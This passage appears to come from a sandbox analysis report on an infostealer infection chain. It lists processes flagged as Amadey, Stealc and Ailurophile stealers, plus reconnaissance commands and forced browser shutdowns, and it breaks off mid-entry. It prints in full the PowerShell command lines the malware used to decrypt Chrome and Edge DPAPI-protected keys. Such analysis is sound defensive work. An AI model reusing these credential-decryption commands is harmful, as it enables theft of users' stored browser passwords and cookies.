2024-11-18 22:04:26 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:26 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:26 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 0a9444ab-601e-0002-11f7-39a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220426Z-1866b5c5fbbfhwqqhC1DFWc9sw00000000tg00000000pwts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:26 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Target ID:	0
Start time:	17:02:59
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4d0000
File size:	1'933'824 bytes
MD5 hash:	3ED69839F5DFE75F59A6E74815422AB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1745890738.00000000004D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1703908483.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:03:01
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x630000
File size:	1'933'824 bytes
MD5 hash:	3ED69839F5DFE75F59A6E74815422AB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1727594316.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1767868110.0000000000631000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:03:01
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x630000
File size:	1'933'824 bytes
MD5 hash:	3ED69839F5DFE75F59A6E74815422AB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1769295516.0000000000631000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1727866482.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:04:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x630000
File size:	1'933'824 bytes
MD5 hash:	3ED69839F5DFE75F59A6E74815422AB9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2312022895.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	17:04:22
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe"
Imagebase:	0x400000
File size:	37'624'498 bytes
MD5 hash:	BB1C7286C327EAFC7CF6A21492CDFA0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:04:22
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	17:04:24
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe" -c "C:\Users\user\AppData\Local\Temp\1007251001\Data\php-cli.ini" "C:\Users\user\AppData\Local\Temp\1007251001\Data\v3lib.php"
Imagebase:	0x400000
File size:	37'624'498 bytes
MD5 hash:	BB1C7286C327EAFC7CF6A21492CDFA0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_AilurophileStealer_1, Description: Yara detected Ailurophile Stealer, Source: 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AilurophileStealer_1, Description: Yara detected Ailurophile Stealer, Source: 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AilurophileStealer_1, Description: Yara detected Ailurophile Stealer, Source: 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AilurophileStealer_1, Description: Yara detected Ailurophile Stealer, Source: 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	17:04:26
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "wmic path win32_videocontroller get caption"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:04:26
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path win32_videocontroller get caption
Imagebase:	0xf70000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	17:04:27
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe"
Imagebase:	0xab0000
File size:	1'873'408 bytes
MD5 hash:	2FE3E392BFB10C6FAFD7B69F59323458
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2631428706.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2667211525.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2631317036.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2695219696.0000000001580000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2650733206.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2650990619.0000000001576000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000003.2667053318.0000000001572000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	17:04:27
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "tasklist"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	17:04:27
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x190000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:04:28
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "wmic os get Caption"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	17:04:28
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic os get Caption
Imagebase:	0xf70000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	17:04:30
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "wmic os get Version"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:04:30
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic os get Version
Imagebase:	0xf70000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:04:32
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe"
Imagebase:	0x490000
File size:	1'834'496 bytes
MD5 hash:	1D1CA9438CB800E982544370F38762F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000003.2654277078.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	17:04:32
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	17:04:32
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Imagebase:	0xed0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:04:36
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /s /c "powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString""
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	17:04:36
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -Command "Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process; Add-Type -AssemblyName System.Security; $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $decryptedKeyString = [System.BitConverter]::ToString($decryptedKey) -replace '-', ''; Write-Output $decryptedKeyString"
Imagebase:	0xed0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	17:04:37
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007254001\3c0b9f98b1.exe"
Imagebase:	0x150000
File size:	922'624 bytes
MD5 hash:	561515000D33C399C105AB2A75CA70DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	17:04:37
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	17:04:37
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	17:04:40
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:04:40
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	17:04:40
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	17:04:40
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:04:40
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:04:41
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:04:41
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xa30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	17:04:41
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	17:04:41
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
